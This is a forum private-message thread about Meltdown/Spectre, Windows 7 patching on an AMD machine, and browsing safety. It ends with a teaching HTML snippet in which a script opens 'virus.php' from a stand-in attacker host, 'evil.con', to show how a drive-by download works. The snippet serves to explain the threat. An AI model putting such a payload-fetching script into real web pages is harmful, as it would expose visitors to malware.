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mikethebike

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  1. I just thought of something easier that is less dependent on the OS version:

    Click the Start button > Command Prompt > type VER and tap the Enter key

    1. Show previous comments  1 more
    2. GregLauver

      GregLauver

      Sorry for the delayed response; the K Forum did not relay your PM, so I didn't notice it until someone updated the Meltdown/Spectre topic.

      Whether or not Kaspersky can protect us may depend upon how some jester might try to exploit the vulnerability; but I'm guessing K would not see it.  Here is why I think that.

      At the lowest level, you have hardware: the chassis, connectors, wires, gears, doors, capacitors, resistors, transistors (chips), drives - all the stuff you can physically handle and weigh.  But all this is just inert paperweights unless there is a way to make it respond to your Intent.

      That begins to happen in firmware, an electromechanical bridge which can pass simple instructions and responses between hardware and the operating system; but we're still not "there" yet.

      In order to avoid the need to create a specific OS for each hardware configuration (imagine infinite incompatibility), a more generic OS can learn enough about the hardware to create a hardware abstraction layer, a way of packaging specifics about similar devices so the OS can use whatever capabilities an optical drive may have without being hard-coded for those specifics.  Think of the HAL as virtual hardware:  it's usable in every way that hardware is used, and it makes the hardware echo what it's doing, but it's a ghost like everything above it (simply encoded ideas and instructions).

      The operating system is the interface, more or less, between the machine and you (and the world); although, recently, an OS is more often used as a smart platform for applications (apps , a.k.a. software) which in turn interface between the internals and you (and the world), because the internals (that retain market share) have generally become stable and reliable.

      So your computer is a stack of layers: hardware, firmware, OS and HAL, apps, (you,) network.  If each is properly designed:  Apps can sense the OS and control it to varying degrees.  The OS can sense and control firmware and apps.

      Kaspersky (and other vendors) provides security apps (software) designed to defend your OS and good apps from bad apps; i.e. they protect the system at the OS layer and outward (discounting human error).

      Meltdown is a flaw in the basic hardware; so instead of asking you to wait until a flaw-free hardware CPU is available, and then to either replace the flawed CPU or buy a new computer because the new CPU is incompatible with existing hardware (and firmware, OS, etc), the CPU makers are providing new firmware that "works around" the flaw so it cannot be exploited.  This in turn makes it necessary to adapt the ephemeral layers above firmware to accommodate it.

      So the reason you have not seen the answer, in the form that you were expecting, is that the answer is basic "Computer 101" stuff which would be considered "off-topic" in the K Forum for various reasons ...

      First, the Forum is mainly for helping people with K product issues under ordinary circumstances.  Meltdown/Spectre are extraordinary circumstances outside of Computer 101 (let alone the main purpose of the Forum), about which too little is generally known - resulting in wild speculation and nonsense (or at least off-topic) posts.

      Second (as you have probably observed), if someone begins sharing Computer 101 stuff in any forum, it becomes a magnet for a gaggle of neophytes wanting free help for anything from printer paper jams, to Twitter feeds, BSODs, car insurance, and origami.  When all of that is well-stirred, then come the posts claiming "My uncle's sister's boyfriend's mother's landlord's ugly dog made $20T last month working from home on his computer. Click here."

      Third, on most computer-related fora, there is usually a clique of members - tech gurus in their own minds - who would either be indignant about the asking or answering of "childish" questions, or would swagger into their own off-topic-land with a flurry of debate and "oneupmanship".

      Fourth, there is a very limited supply in this world of people who possess enough altruism, knowledge, levelheadedness, patience, stamina, and tolerance to be forum moderators.  With effort extensive and real, and reward bordering on imaginary, you can bet the forum guidelines will be straight and narrow.

    3. mikethebike

      mikethebike

      Thanks Greg for your reply which was both amusing and a little harrowing at the same time. I can understand why richbuff stopped the thread for a while. It was getting away from K related items. I had quite quickly found my processor type and model thanks to one reply and that, as far as being unrelated to K instruction was concerned,  was that but the diversion took on a life of its own unfortunately.

      My continuing issue is: I have no idea despite extensive searches on the internet as to whether I have the correct patch from Microsoft that prevents Spectre. I have an AMD processor which apparently is not vulnerable to Meltdown.

      I certainly have one of the two Microsoft KB files mentioned by Gniblett for Windows 7( my OS) but I am unsure if I am waiting for Microsoft to supply another update for AMD processors. When this update arrives will it be obvious that it is aimed at Spectre by its title?

      In the photo-copied attachment supplied by Gniblett there was mention of having to go to the processor maker, presumably in my case AMD and also upload fresh drivers as well. In other words the Microsoft patch by itself when it arrives and assuming it has not arrived yet, will not be full protection and I have to do some work myself. 

      I have looked at the AMD site and found it impossible to work out what I needed to seek for. It may be that at this stage AMD is still working on the issue so there is nothing there yet but I could find no reference to its schedule on its range of AMD processor and Spectre cures.

      I don't surf the Net, don't go to strange sites, don't open unknown attachments etc so it may be that my chances of being hit are remote. It was difficult to work out quite how much I should worry. My only real vulnerability, like almost all the population today, is online banking and I use K Safe Money there but how much protection it gives against Spectre I have no idea.

      mikethebike

       

    4. GregLauver

      GregLauver

      I just read your last message.  Keeping in mind that most of my time is devoted to keeping my 99yo mom (with all expected ailments) on-planet, I will see what I can find.  It will help if you collect specs on your processor, OS version, AMD's website address, and whatever else you've got in one place to reduce "detective" work.  We can also skip delays-by-happenstance by going to email.  Mine is GregLauver(at)msn.com - please use it only for 1-1 coms (no group messaging) and share it with no one.  Make sure your first email begins with "mikethebike" in the greeting line.

      About your safe-browsing habits:

      Your chances of being hit are remote on most days on the sites on which you have not yet been bitten.  Not to induce panic, but ostensibly good sites may use ad rotators, which commonly serve ads from third-party sites (generally trusted by the second parties that you trust), which in turn may get them from (possibly trustworthy) fourth parties, etc, and you can see where this is going.

      It has already been news (I'm currently too lazy to look it up) that malware has bubbled up through the ad-chain into some of those little few-square-inches side-bar ads on otherwise trusted sites, and whacked people.  A beneficial result (the news was huge and ugly) is that the trusted sites have become far more careful in vetting the ads they serve from external sources; but "nobody is perfect" (and I am a nobody, therefore I am perfect).  And this is why we each still need our own personal fences and guard dogs.

      Can you get infected if you don't click stuff?  Yes, it's called a "drive-by download", and the web page code might look like this:

      
      	<html>     <!-- Web pages are made of HTML elements coded as "<tags>". -->
      
      	    <head> <!-- When you load a page, its contents run in your browser. -->
      
      	        <script>
      
      	            // JavaScript code could open malware file "virus.php"
      
      	            // (but you're safe because .CON does not exist).
      
      	            window.open('http://evil.con/virus.php');
      
      	        </script>
      
      	    </head>
      
      	    <body>
      
      	        The Body typically contains what you see on-page. If you were to copy this chunk of code from &lt;HTML&gt; to &lt;/HTML&gt; into file "test.html" on your desktop, and then double-click it, this paragraph would appear in your default browser, and there might also be an error message saying that evil.con failed to load (if your browser is set to display all errors). You can see the code behind most web pages by right-clicking an empty spot in the page and then selecting "View Source" from the context menu. Yes, it looks awful on the inside, unless you like code.
      
      	    </body>
      
      	</html>
      
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